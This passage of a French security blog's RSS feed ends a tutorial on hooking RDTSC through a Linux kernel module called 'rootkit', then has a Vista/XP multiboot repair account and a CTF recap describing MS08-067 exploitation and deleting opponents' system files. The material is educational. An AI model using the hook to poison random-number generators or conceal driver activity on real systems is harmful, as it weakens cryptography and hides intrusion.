 if(ioctl(fd, IOCTL_SET_PID, pid_to_hook))
 {
 fprintf(stderr, "Error setting the pid.\n");
 }
 else
 {
 printf("pid set successfully.\n");
 }

 //Close the device
 close(fd);

}</pre>
<p>Enfin, la routine de traitement de l&#8217;IOCTL qui sert à récupérer le PID dans le module est relativement simple :</p>
<pre>/**
 * IOCTL handler
 */
int my_ioctl (struct inode * _inode, struct file * _file,
              unsigned int _ioctl_num, unsigned long _ioctl_param)
{
 struct task_struct *task;

 switch(_ioctl_num)
 {
 //Set the PID
 case (IOCTL_SET_PID):

 pid_to_hook = (unsigned int) _ioctl_param;

 break;

 default:
 printk(KERN_INFO "rdtsc_exploit: ERROR: Unsupported ioctl code: "
                  "%08x.\n", _ioctl_num);
 }
 return 0;
}</pre>
<h3>Test</h3>
<p>Après avoir compilé le tout, on charge le module :</p>
<pre># insmod module/rootkit.ko
# grep rdtsc_exploit /proc/devices
250 rdtsc_exploit
# mknod /dev/rdtsc_exploit c 250 0</pre>
<p>On lance le programme exécutant RDTSC dans un shell à part :</p>
<pre>$ exe/rdtsc/rdtsc
Press &lt;Enter&gt; to call rdtsc. Press q to quit.

RDTSC result (edx : eax) = (0000126d : 8c1cc9a2)

RDTSC result (edx : eax) = (0000126d : a38e75be)</pre>
<p>Puis on envoie son PID au module avec :</p>
<pre># exe/set_pid/set_pid $(pidof rdtsc)
pid set successfully.</pre>
<p>Et on revient au terminal précédent, en constatant que le hook fonctionne bien :</p>
<pre>RDTSC result (edx : eax) = (55667788 : 11223344)

RDTSC result (edx : eax) = (55667788 : 11223344)

RDTSC result (edx : eax) = (55667788 : 11223344)</pre>
<p>On n&#8217;oubliera pas de décharger le module avec :</p>
<pre># rmmod rootkit
# rm /dev/rdtsc_exploit</pre>
<h3>Problème avec ArchLinux</h3>
<p>En testant l&#8217;implémentation précédente avec deux distributions ArchLinux de noyaux 2.6.29 et 2.6.30, j&#8217;ai constaté qu&#8217;ell ne marchait tout simplement pas. En faisant plusieurs tests, je constate que le handler de #GP est bien hooké, mais RDTSC ne l&#8217;est pas du tout car le programme de test affiche toujours des valeurs normales. J&#8217;affiche la valeur de CR4.TSD à plusieurs reprises, et je vois que de temps en temps, il repasse à 0, ce qui expliquerait pourquoi RDTSC n&#8217;est pas détournée.</p>
<p>Après plusieurs recherches, je tombe sur <a href="http://blog.cr0.org/2009/05/time-stamp-counter-disabling-oddities.html">ce blog</a>, qui pointe du doigt quelques bizarreries du noyau Linux concernant justement le flag TSD. Apparemment, il serait possible de l&#8217;activer ou non pour certains processus seulement. Il s&#8217;agit du Thread Information Flag TIF_NOTSC définit dans le fichier arch/x86/include/asm/thread_info.h du noyau. Ce flag est plus ou moins l&#8217;équivalent du flag TSD, mais dans le contexte de chaque processus. Il est possible de le définir avec l&#8217;appel système <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/prctl.2.html">prctl</a> en utilisant l&#8217;option PR_SET_TSC. La valeur PR_TSC_ENABLE revient à positionner TSD = 0, tandis que PR_TSC_SIGSEGV est équivalent à TSD = 1.</p>
<p>Ces flags existent déjà dans les noyaux 2.6.28 d&#8217;Ubuntu 9.04 ; je n&#8217;ai pas encore bien saisi pourquoi ceuxi-ci sont effectivement appliqués sur ArchLinux. Le blog cité précédemment parle de l&#8217;option de configuration CONFIG_SECCOMP du noyau, présente sur ArchLinux, mais visiblement désactivée ia le flag TIF_SECCOMP qui vaut 0 pour tous les processus. Je vais continuer mes recherches de ce côté&#8230; Si toutefois vous avez des explications, je suis preveur <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h3>Implémentation 2</h3>
<p>En attendant, il reste tout de même effectuer le hook de RDTSC. Il suffit de positionner le flag TIF_NOTSC du processus en question à PR_TSC_SIGSEGV. Cela peut se faire en appelant prctl, mais cette technique n&#8217;est pas vraiment convenable car un hook se doit d&#8217;être extérieur au processus. La technique consiste donc à émuler le fonctionnement de cet appel système au sein de notre module. Il nous suffit de parcourir la liste chainée des processus, d&#8217;isoler celui qui a le bon PID, et à positionner son flag. Cela revient à modifier la fonction <code>my_ioctl()</code> comme ceci :</p>
<pre>/**
 * IOCTL handler
 */
int my_ioctl (struct inode * _inode, struct file * _file,
              unsigned int _ioctl_num, unsigned long _ioctl_param)
{
   struct task_struct *task;

   switch(_ioctl_num)
   {
      //Set the PID
      case (IOCTL_SET_PID):

         pid_to_hook = (unsigned int) _ioctl_param;
         printk(KERN_INFO "rdtsc_exploit: pid_to_hook = "
                          "%d.\n", pid_to_hook);

         for_each_process(task) {
            if(task-&gt;pid == pid_to_hook){
               test_and_set_ti_thread_flag(task_thread_info(task), TIF_NOTSC);
               printk("TIF_NOTSC set for process %d\n", task-&gt;pid);
            }
         }

      break;

      default:
         printk(KERN_INFO "rdtsc_exploit: ERROR: Unsupported ioctl code: "
                          "%08x.\n", _ioctl_num);
   }
   return 0;
}</pre>
<p>La macro <code>for_each_process()</code> définie dans linux/sched.h permet d&#8217;itérer très simplement sur les threads du système. On utilise la fonction <code>test_and_set_ti_thread_flag()</code> afin de positionner le flag TIF_NOTSC du thread en question. On notera qu&#8217;il n&#8217;y a même plus besoin de modifier à la main CR4 à l&#8217;initialisation.</p>
<h3>Sources</h3>
<p><a href="http://www.segmentationfault.fr/wp-content/uploads/2009/07/rdtsc_exploit.tar.gz">Téléchargez les sources</a></p>
<p>Les sources incluent l&#8217;implémentation 2, sachant que celle-ci fonctionne aussi bien sur les deux distributions que j&#8217;ai testées (Ubuntu et ArchLinux). Les lignes spécifiques à la 1ère implémentation sont commentées, donc vous pouvez toujours jouer avec et voir le résultat que vous obtenez.</p>
<p>Pour compiler, invoquez simplement <code>make</code> à la racine de rdtsc_exploit. Si jamais cela ne compile pas, éditez le fichier module/Makefile, et indiquez le bon chemin vers votre fichier /boot/System.map. Vérifiez également que le fichier module/handler.S a bien un S majuscule concernant son extension.</p>
<p>Les fichiers fournis sont organisés comme ceci :</p>
<ul>
<li>module/ contient les sources du module</li>
<li>exe/ contient deux sources d&#8217;exécutables :
<ul>
<li>rdtsc : programme de test exécutant RDTSC à chaque appui sur une touche. Il contient aussi un fichier de test du noyau,  disable-tsc-test.c, que j&#8217;ai jugé intéressant de garder pour des tests. A compiler séparément.</li>
<li>set_pid : programme prenant en paramètre le PID de rdtsc et l&#8217;envoyant au module par ioctl</li>
</ul>
</li>
<li>scripts/ contient trois scripts permettant d&#8217;automatiser le chargement du module et la création du device. load_hook.sh et unload_hook.sh appellent en réalité load.sh, capable de charger/décharger un module et créer/détruire son device.</li>
</ul>
<h3>Applications</h3>
<p>Pour terminer, voici quelques possibilités offertes par le hook de RDTSC :</p>
<ul>
<li><strong>Empoisonnement des générateurs de nombres pseudo-aléatoires</strong> : Certaines applications utilisent RDTSC comme source d&#8217;aléa, pour générer des valeurs pseudo-aléatoires qui peuvent par exemple être utilisées pour la génération de clé de chiffrement. En forçant à RDTSC à renvoyer des valeurs bien précise, on peut injecter des valeurs bien précises dans l&#8217;algorithme de génération et pouvoir prédire plus facilement son résultat.</li>
<li><strong>Anti-anti-debuging</strong> : Comme dit au premier paragraphe, une technique d&#8217;anti-debug consiste à utiliser RDTSC pour estimer le temps passé entre deux instructions et le comparer à une valeur seuil. Une technique d&#8217;anti-anti-debug peut donc être de hooker RDTSC et de retourner des valeurs plausibles à l&#8217;application, en masquant le fait que celle-ci est en train de se faire déboguer. C&#8217;est précisément ce que fait le plugin <a href="http://www.openrce.org/downloads/details/241/Olly_Advanced">Olly Advanced</a> d&#8217;OllyDbg.</li>
<li><strong>Communication offusquée entre une application et un driver</strong> : Puisqu&#8217;avec cette technique RDTSC est exécutée en ring 3 et provoque une exception #GP en ring 0, c&#8217;est un moyen de donner la main à un driver afin qu&#8217;il effectue des opérations &laquo;&nbsp;ni vu ni connu&nbsp;&raquo;, dans le sens ou il n&#8217;y a aucun appel explicite vers fonction noyau dans l&#8217;application ring 3.</li>
</ul>
<h3>Conclusion</h3>
<p>Cette technique n&#8217;est pas nouvelle, mais encore assez peu connue (enfin sans doute pas des reversers :p). Cependant, elle peut se révéler très intéressantes dans de multiples occasions. Si je devais donner un conseil, ce serait d&#8217;éviter de l&#8217;utiliser en ring 3, pour deux raisons principales de sécurité :</p>
<ul>
<li>Il existe des générateurs aléatoires reconnus comme fiables, il est donc préférable de les utiliser plutôt que de se faire son propre algorithme.</li>
<li>L&#8217;OS fournit généralement des appels systèmes permettant d&#8217;appeler RDTSC en ring 0 et de retourner sa valeur (cf <code>NtQueryPerformanceCounter()</code> sous Windows). Comme l&#8217;appel est en ring 0, la méthode de hook décrite précédemment ne marche plus.</li>
</ul>
<h3>Références</h3>
<ul>
<li><a href="https://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf">The Art of Unpacking</a>, Marc Vincent Yason, BlackHat 2007</li>
<li><a href="http://www.intel.com/products/processor/manuals/">Intel Software Devloper&#8217;s Manuals</a> 2B, 3A</li>
<li><a href="http://books.google.fr/books?id=h0lltXyJ8aIC&amp;dq=understanding+linux+kernel&amp;printsec=frontcover&amp;source=bn&amp;hl=fr&amp;ei=RopbSsO8A4z0nQOdwfXdCQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=4">Understanding the Linux kernel, 3rd edition</a>, <span>Daniel Pierre Bovet, Marco Cesati, </span>O&#8217;Reilly</li>
<li><a href="http://nibbles.tuxfamily.org/?p=372">Nibbles &#8211; SMP : IDT et GDT</a>, j0rn</li>
<li><a href="http://lwn.net/Kernel/LDD3/">Linux Device Drivers, 3rd edition</a>, Jonathan Corbet, Alessandro Rubini, Greg Kroah-Hartman, O&#8217;Reilly</li>
<li><a href="http://blog.cr0.org/2009/05/time-stamp-counter-disabling-oddities.html">CR0&#8217;s blog : Time-stamp counter disabling oddities in the Linux kernel</a></li>
<li><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/prctl.2.html">Man prctl</a></li>
</ul>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 11920px; width: 1px; height: 1px;">
<pre><strong><strong>PR_SET_TSC</strong></strong></pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/rdtsc-hooking-linux/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Problème de multiboot Vista &#8211; XP</title>
		<link>http://www.segmentationfault.fr/windows/probleme-multiboot-vista-xp/</link>
		<comments>http://www.segmentationfault.fr/windows/probleme-multiboot-vista-xp/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 22:35:56 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=674</guid>
		<description><![CDATA[Je viens tout juste de me pencher sur un problème de multiboot avec mon ordi portable. Pour résumer grossièrement la situation, j&#8217;avais un triple boot fonctionnel entre Windows Vista, Windows XP et Ubuntu, et un beau jour je me suis décidé de supprimer la partition contenant Vista. Résultat : impossible de booter sur XP ; [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens tout juste de me pencher sur un problème de multiboot avec mon ordi portable. Pour résumer grossièrement la situation, j&#8217;avais un triple boot fonctionnel entre Windows Vista, Windows XP et Ubuntu, et un beau jour je me suis décidé de supprimer la partition contenant Vista. Résultat : impossible de booter sur XP ; Grub me renvoie une erreur &laquo;&nbsp;Invalid device requested&nbsp;&raquo;. Après quelques bidouilles, d&#8217;autres messages d&#8217;erreurs font leur apparition, comme &laquo;&nbsp;NTLDR is missing&nbsp;&raquo; ou &laquo;&nbsp;Invalid partition table&nbsp;&raquo;. Finalement, après deux soirées d&#8217;acharnement, je parviens à refaire démarrer mon Windows XP. Je poste cet article dans l&#8217;espoir qu&#8217;il vienne en aide à ceux qui seront confronté à un problème similaire.<span id="more-674"></span></p>
<h3>Le décor</h3>
<p>Il y a environ 2 ans, j&#8217;achète un laptop. Vista est préinstallé dessus, et la machine n&#8217;a qu&#8217;1 Go de RAM et un AMD Turion x2 pas très véloce. Bref, je ne vous fais pas de dessin : Vista est sans surprise extrèmement lent. Je décide donc d&#8217;installer un XP. Pour éviter les problèmes avec un éventuel retour SAV de la machine, je préfère garder Vista ; je réduis donc sa partition à 20 Go et installe XP sur le reste. Et je me dis que je l&#8217;utiliserai sans doute occasionnelement&#8230;</p>
<p>Lors de l&#8217;installation, XP détecte Vista, et s&#8217;installe dans une partition étendue qu&#8217;il crée automatiquement. Pourquoi une étendue et pas une principale ? Seul Microsoft le sait&#8230; Une fois XP installé, celui-ci a viré le boot loader de Vista. Il faut donc que j&#8217;utilise Vista Boot Pro afin de mettre en place un dual boot Vista &#8211; XP. Je vous passe les détails, ce n&#8217;est pas le but de cet article.</p>
<p>Enfin, je me décide à installer une Ubuntu. Je rétrécis donc XP et installe Ubuntu dans des partitions à la suite de celle contenant XP. Grub s&#8217;installe sur le MBR et me permet alors de mettre en place mon triple boot. En fait, Grub détecte les deux Windows comme une seul entrée. Au boot, il me propose le choix entre Linux et les Windows. Si je choisis Windows, le boot loader de Vista prend la relève et me donne le choix entre booter Vista ou XP. Ouf !</p>
<p>Pour résumer, mon disque dur est donc partitionné comme suit :</p>
<ul>
<li>Une partition primaire contenant Vista</li>
<li>Une partition étendue avec :
<ul>
<li>XP</li>
<li>Linux</li>
</ul>
</li>
</ul>
<h3>La revanche de Vista</h3>
<p>Cette config a très bien marché pendant près de 2 ans. Jusqu&#8217;au jour ou je me rend compte qu&#8217;en fait, je n&#8217;ai jamais utilisé Vista, alors qu&#8217;il m&#8217;utilise tout de même 20 Go sur mon disque. Comme la garantie du laptop est de toutes façon arrivée à terme, je me dis que je ne risque rien à le supprimer. Ni une ni deux ; je supprime la partition avec GParted, sous Linux. Je reboote. Et là, c&#8217;est le drame. XP ne boote plus, j&#8217;obtiens le message &laquo;&nbsp;<strong>Invalid device requested</strong>&laquo;&nbsp;. Il faut croire que Vista a emporté XP dans sa tombe&#8230;</p>
<h3>Le combat</h3>
<p>En cherchant un peu sur le Web, je m&#8217;aperçois que cette erreur viendrait de Grub. Je vérifie l&#8217;entrée correspondant à XP (en tapant &laquo;&nbsp;e&nbsp;&raquo; au menu de Grub lors du boot), qui est toujours valide. En effet, XP étant au début de la partition étendue, Grub la nomme (hd0,4) (équivalent de /dev/sda5). D&#8217;où vient l&#8217;erreur ?</p>
<p>Je continue à chercher, et je m&#8217;aperçois que Windows XP n&#8217;a apparemment pas été prévu pour pouvoir booter sur une partition étendue. La question que je me pose alors est : dans ce cas, pourquoi bootait-il lorsque Vista était encore là ? En me documentent sur le multiboot Vista &#8211; XP, j&#8217;apprends que lorsqu&#8217;un tel multiboot est mis en place, c&#8217;est Vista qui se charge de booter XP. Ce qui expliquerait donc pourquoi XP ne boote plus désormais&#8230;</p>
<p>La solution se dessine : il faudrait que je &laquo;&nbsp;sorte&nbsp;&raquo; ma partition XP de ma partition étendue, pour en faire une primaire. Peut-être que de cette façon, XP sera capable de booter tout seul comme un grand. Sous Linux, j&#8217;utilise donc GParted pour copier ma partition XP en dehors de la partition étendue (à la place de l&#8217;ancien Vista). Après pas mal de temps, l&#8217;opération se termine avec succès. Tant qu&#8217;à faire, je marque la partition comme bootable. Je reboote, et demande à Grub de booter désormais sur (hd0,0), c&#8217;est à dire la nouvelle partition. Cette fois-ci, nouvelle erreur : &laquo;&nbsp;<strong>NTLDR is missing</strong>&laquo;&nbsp;.</p>
<p>NTLDR est le boot loader de XP, et il semble introuvable. Je glane encore quelques infos sur le Web. Il semblerait qu&#8217;il soit possible de remédier à ce problème avec la console de récupération du CD de XP, en utilisant l&#8217;utilitaire fixboot. Je le fais, mais cela n&#8217;améliore rien. Je recommence, en rajoutant cette fois-ci un coup de fixmbr. Là, c&#8217;est encore pire : Grub ne démarre même plus, car Windows a écrasé le MBR (logique), mais le processus de boot va encore moins loin car j&#8217;obtiens une erreur &laquo;&nbsp;<strong>Invalid partition table</strong>&laquo;&nbsp;. De mieux en mieux&#8230;</p>
<p>Je commence par réinstaller Grub, en utilisant un live CD d&#8217;Ubuntu et l&#8217;utilitaire grub-install, qui répare le MBR. Je peux alors booter à nouveau sous Linux. Je monte ma partition Windows défectueuse et liste les fichiers situés à la racine. Dans /dev/sda1 (C:), je ne vois aucun fichier ntldr. Ni de boot.ini, ni de ntdetect.com&#8230; Pourtant, ces fichiers sont vitaux au démarage de Windows ! J&#8217;en conclus donc que Vista avait du déplacer ces fichiers dans sa partition (vu qu&#8217;il boote XP lui-même), et qu&#8217;ils ont été effacés avec le reste de la partition. Heureusement, j&#8217;ai un autre XP qui fonctionne sur une autre machine. J&#8217;utilise donc une clé USB pour copier les fichiers ntldr, boot.ini et ntdetect.com sur ma partiton XP defectueuse. Au passage, je vérifie que le boot.ini est correct. Je repasse ensuite un coup de fixboot avec la console de récupération XP. Je reboote, et&#8230;</p>
<h3>Le bout du tunnel</h3>
<p>Yeah, XP démarre ! Après un check des disques, tout semble fonctionner&#8230; Du moins pendant quelques secondes. Rapidement, plusieurs services se mettent à planter. En regardant de plus près, je commence à comprendre pourquoi : les lettres des lecteurs ont changé. En effet, lorsque j&#8217;avais installé XP pour la 1ère fois, il s&#8217;était attribué la lettre F, car il était sur la partition étendue. Comme cette fois-ci je boote sur une partition primaire (copie de l&#8217;ancienne), et que Windows attribue &laquo;&nbsp;bêtement&nbsp;&raquo; les lettres dans l&#8217;ordre des partitions sur le disque, cette partition se retrouve nommée C. Seul problème : tous les programmes, raccourcis et la base de registre pointent encore vers F&#8230;</p>
<p>La solution est donc de renommer les lecteurs, en inversant C et F. Cependant, l&#8217;utilitaire de gestion des disques Windows refuse, car la partition C est une partition système. Quasiment désespéré, je reparcours le Web en recherche d&#8217;une méthode miracle pour renommer de force cette partition&#8230; Et je finis par en trouver une, que <a href="http://www.svmlemag.fr/pratique/0727/modifier_la_lettre_d_unite_du_disque_de_demarrage">voici </a>!</p>
<p>Pour résumer, il s&#8217;agit d&#8217;inverser deux clés dans la base de registre. Elles se trouvent dans HKEY_LOCAL_MACHINESYSTEMMountedDevices. Dans mon cas, je dois inverser DosDevicesC: et DosDevicesF:.  Je le fais, et je reboote&#8230;</p>
<p>Ca marche ! Au reboote, F: est bien ma partition système primaire, et C: est devenu l&#8217;ancienne partition. Mon XP est désormais stable, il pète de nouveau la forme&#8230; Je supprime C et à reboote une dernière fois pour m&#8217;assurer que tout roule, et c&#8217;est le cas. Encore une victoire de canard <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Morales</h3>
<p>Les leçons à tirer de cette histoire sont :</p>
<ul>
<li>Méfiez vous comme la peste du multiboot Vista &#8211; XP, surtout quand vous supprimez Vista.</li>
<li>N&#8217;installez pas Windows dans une partition étendue.</li>
<li>Ayez toujours un CD de Windows XP sous la main, car la console de restauration est bien pratique.</li>
<li>Même chose concernant les live CD de Linux : GParted est un outil gratuit incontournable qui pourra vous sauver la mise même si tous vos OS sont inutilisables. En plus, vous pourrez aller sur Internet avec et chercher de la doc&#8230;</li>
<li>Sauvegardez votre ntldr, boot.ini et ntdetect.com pour les avoir à disposition au cas où (ils ne font que quelques ko).</li>
<li>Changer la lettre d&#8217;une partition système est possible&#8230; mais ne changera pas les références gardées en dur par tous vos programmes. Ne le faites que si la lettre de votre partition a changée toute seule !</li>
</ul>
<p>Sur ce, j&#8217;espère avoir aidé du monde !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/windows/probleme-multiboot-vista-xp/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Nuit Du Hack 2009 : Et les vainqueurs sont&#8230;</title>
		<link>http://www.segmentationfault.fr/securite-informatique/bilan-nuit-du-hack-2009/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/bilan-nuit-du-hack-2009/#comments</comments>
		<pubDate>Sun, 14 Jun 2009 20:17:00 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Publications]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=655</guid>
		<description><![CDATA[Tant attendue, la NDH 2009 s&#8217;est terminée ce matin même. La péniche sur laquelle se déroulait l&#8217;événement battait son plein ; nous étions quasiment 200 à bord. Pour la première fois, le challenge était un Capture The Flag  au cours duquel se sont affrontés une demi douzaine d&#8217;équipes. Mais cette année, la team de Ghosts [...]]]></description>
			<content:encoded><![CDATA[<p>Tant attendue, la NDH 2009 s&#8217;est terminée ce matin même. La péniche sur laquelle se déroulait l&#8217;événement battait son plein ; nous étions quasiment 200 à bord. Pour la première fois, le challenge était un Capture The Flag  au cours duquel se sont affrontés une demi douzaine d&#8217;équipes. Mais cette année, la team de Ghosts In The Stack n&#8217;était pas au complet car il manquait Heurs, contraint de ne pas participer au challenge vu qu&#8217;il fait désormais partie du staff. Ma team, répondant au nom de Trollkore (un trip IRC&#8230;) était donc composée d&#8217;Ivanlef0u, sh4ka, Pierz et Kal0n. Et c&#8217;est notre équipe qui a remporté le challenge ! Voici, rien que pour vous, un petit résumé de cette super nuit organisée par <a href="http://www.sysdream.com">Sysdream</a>. [EDIT 15/16/09 : slides et sources mis en ligne]<span id="more-655"></span></p>
<h3>Conférences</h3>
<p>Le programme était aussi riche qu&#8217;intense : une douzaine de conférences se déroulant sur deux plateformes ; il y avait donc toujours deux confs en simultané. L&#8217;inconvénient était toutefois qu&#8217;on ne pouvait assister qu&#8217;à la moitié des confs&#8230; Pour ma part, j&#8217;ai alterné entre les deux plateformes, et j&#8217;ai en plus du finaliser quelques slides donc je n&#8217;ai pas pu en profiter pleinement. Au final, voila ce à quoi j&#8217;ai assisté :</p>
<ul>
<li><strong>SCOW &#8211; ShellCoding On Windows</strong> : Heurs présente son nouvel outil permettant de générer un shellcode générique sous Wndows à partir d&#8217;un simple programme C. Un outil permettant de gagner un temps fou lors de la conception d&#8217;un exploit, avec en prime une polymorphisation du shellcode en question.</li>
<li><strong>GoRing0 </strong>: Présentée par moi-même. Cette conférence se veut accessible à tous ceux qui s&#8217;intéressent de près ou de loin au noyau et au fonctionnement des processeurs x86, en particulier le système de privilèges (ring). J&#8217;y présente dans un premier temps toutes les bases nécessaire pour comprendre le coeur de la conférence : un rootkit que j&#8217;ai développé et qui permet de passer un thread en ring 0, le contexte étant préservé.</li>
<li><strong>Drive by Pharming</strong> : Abc528 présente une faille XSRF des routeurs de type box (Alicebox, Livebox&#8230;) permettant de modifier leur configuration depuis une page HTML hébergée sur un site quelconque.</li>
<li><strong>XeeK </strong>: Ma deuxième conf de la soirée. Je présente XeeK, un projet dont j&#8217;ai déjà parlé <a href="http://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/">ici</a>, mais que je n&#8217;ai pas encore eu le temps de finir. Il s&#8217;agit d&#8217;un framework visant à exploiter les failles XSS très rapidement et simplement.</li>
<li><strong>Lockpicking </strong>: Cocolitos et Mr Jack nous démontrent qu&#8217;aucun verrou n&#8217;est vraiment sûre, en crochetant différents types de serrures, les unes à la suite des autres. On y apprend entre autres qu&#8217;on peut crocheter certaines serrures avec un bout d&#8217;essuie glace, et ouvrir un cadenas avec une canette. Même certaines serrures réputées haute sécurité y passent.</li>
</ul>
<p>Dommage, j&#8217;ai loupé la conférences de Virtualabs sur les framework Web next gen, qui pourraient fortement m&#8217;intéresser pour poursuivre XeeK.</p>
<p>Sinon, si je devais donner mon opinion sur les 3 confs que j&#8217;ai vues, je dirai qu&#8217;elles étaient à la hauteur de mes attentes et qu&#8217;elles valaient vraiment le coup d&#8217;oeil, sauf une : le Drive By Pharming. Soyons clairs : je respecte tous les conférenciers ainsi que les présentations qu&#8217;ils ont données. Mais je pense que cette conférence, bien que s&#8217;adressant à des débutants, manquait de préparation, de contenu (elle a duré 10 min) et contenait des erreurs assez flagrantes. Je reste enthousiaste à l&#8217;idée d&#8217;accueillir des confs de tous les niveaux, mais je pense toutefois que les conférenciers ne devraient pas hésiter à approfondir un peu plus leurs sujets. Enfin, pour ce qui est de la conférence sur le lockpicking, bien que je n&#8217;ai aucune expérience en la matière, j&#8217;ai vraiment adoré.</p>
<h3>Slides</h3>
<p>Voici les slides de mes conférences ainsi que les sources/binaires que je publie :</p>
<ul>
<li><strong>GoRing0 </strong>: <a href="http://www.segmentationfault.fr/wp-content/uploads/2009/06/goring0.pdf">Slides </a>- <a href="http://www.segmentationfault.fr/wp-content/uploads/2009/06/goring0-bin.zip">Binaires </a>- <a href="http://www.segmentationfault.fr/wp-content/uploads/2009/06/goring0-src.zip">Sources</a></li>
<li><strong>XeeK </strong>: <a href="http://www.segmentationfault.fr/wp-content/uploads/2009/06/xeek.pdf">Slides</a></li>
</ul>
<p>Pour les autres, allez sur le <a href="http://www.nuitduhack.com">site officiel</a> ou contacter directement les conférenciers.</p>
<h3>Challenge</h3>
<p>Grosse nouveauté de cette année : le challenge principal est un Capture The Flag. Le principe est simple : chaque équipe possède quelques serveurs, leur but étant de les protéger et d&#8217;attaquer ceux des autres. En gros :</p>
<ul>
<li>Règle n°1 : pas d&#8217;attaques physiques.</li>
<li>Règle n°2 : pas d&#8217;attaques sur le serveur du staff.</li>
<li>Règle n°3 : tout le reste est permis. Même  le déni de service.</li>
</ul>
<p>Pour pimenter l&#8217;affaire, aucune information n&#8217;est donnée au préalable, pas même les IP de nos propres machines. Pas de DHCP. Il nous faut alors sniffer le traffic pour nous apercevoir qu&#8217;une machine emmet en broadcast. Nous nous attribuons donc des IP statiques sur la même plage, et configurons la machine qui broadcast comme passerelle. A partir de là, nous découvrons le serveur de monitoring qui contient les résultats en temps réel su challenge avec le classement des équipes, ainsi que la liste de toutes les machines. Autant dire que Nmap a bien tourné&#8230;</p>
<p>On nous fait parvenir les logins/pass de notre machine Windows, mais pas ceux de celle sous Linux. Prétexte:  ils sont facile à trouver. Je m&#8217;acharne donc à bruteforcer avec Hydra (en l&#8217;ayant recompilé au passage avec le support pour SSH), mais rien n&#8217;y fait. Pierz se penche sur Windows, fait tourner Metasploit, et découvre que les machines sont vulnérables au MS08_067. En quelques secondes, il roote une machine adverse et récupère les hashs à valider. Le score décolle enfin ! Décidé à faire baisser le score des autres équipes, j&#8217;exploite la vuln à mon tour et en profite supprimer le contenu de c:\Windows\system32 ainsi que boot.ini et autoexec.bat, puis je lance un reboot. Cependant, je n&#8217;avais pas prévu que Windows restaurerai ces 2 fichiers et que la machine booterait toujours. Dommage&#8230;</p>
<p>Pendant ce temps, sh4ka et Ivan s&#8217;acharnent sur notre Windows en remote desktop. Ivan se fait plaisir sur les crackmes fournis et les reverse rapidement. Kal0n est quant à lui sur un exploit PhpMyAdmin. Avec Sh4ka, je me penche sur le Web. Cependant, il y a un imprévu : le challenge Web prévu est inaccessible car mal configuré. Nous allons alors sur le serveur commun que HZV a laissé pour que même les non participants puissent s&#8217;entraîner. Nous trouvons rapidement une include locale, une injection SQL, une faille par authentification faible via cookies et une XSS qui n&#8217;a d&#8217;ailleurs pas été validé (non prévue à la base). Pendant ce temps, Ivan se penche sur un crackme en kernel, qui lui donne du fil à retordre mais qui fini par tomber.</p>
<p>Aux environs de 5h, on finit par nous donner les accès Linux. Dépités, nous constatons que le login/pass n&#8217;était en effet pas bien dur à trouver (freeman:team2). En supposant que la combinaison soit similaire sur les autres machines, nous parvenons à nous connecter chez les autres équipes. Mais nous voyons que tout a été chrooté dans tous les sens, et qu&#8217;au final n&#8217;avons accès qu&#8217;à cat, ls, cs, mv, mkdir et python. Nous découvrons plusieurs binaires suid root, dont un vulnérable à un buffer overflow. L&#8217;ASLR étant activé, l&#8217;exploitation via  ret onto ret est toujours faisable mais comme nous n&#8217;avons pas gdb sur la machine distante, et qu&#8217;il commence à se faire tard (ou tôt, question de point de vue), nous préférons nous arrêter là. En plus, nous sommes une des seules équipes restantes&#8230;</p>
<h3>Remise des prix</h3>
<p>Vers 6h, Crashfr annonce les résultats. Nous sommes premiers ! Jamais nous n&#8217;aurions pensé gagner, car nous nous attendions à affronter Dvrasp, Fozzy et Artyc&#8230; Mais en fait, il étaient trop occupés au bar <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Crashfr remet les prix aux équipes : des certifications CEH pour les 1ers, et des livres pour les deuxièmes et troisièmes. Sans oublier bien sûr les super trophées en verres, réalisés pour l&#8217;occasion. Pour ma part, comme je serai bientôt consultant chez Sysdream, je pense plutôt convertir ce CEH en LPT (Licensed Penetration Tester), une autre certification d&#8217;EC-Council. En tout cas, si j&#8217;ai particupé à cette nuit, c&#8217;était uniquement pour le fun. Comme d&#8217;habitude, la NDH est de mieux en mieux, et son ampleur augmente au fil du temps. A quand une NDH rivalisant avec le Black Hat et le Defcon ? En plus, c&#8217;était ma dernière NDH en tant que challenger, vu que l&#8217;année prochaine je ferai partie du staff et je pourrai à mon tour goûter aux joies de voir tout le monde s&#8217;arracher les cheveux sur un challenge dont je suis l&#8217;auteur <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>See you next year !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/bilan-nuit-du-hack-2009/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
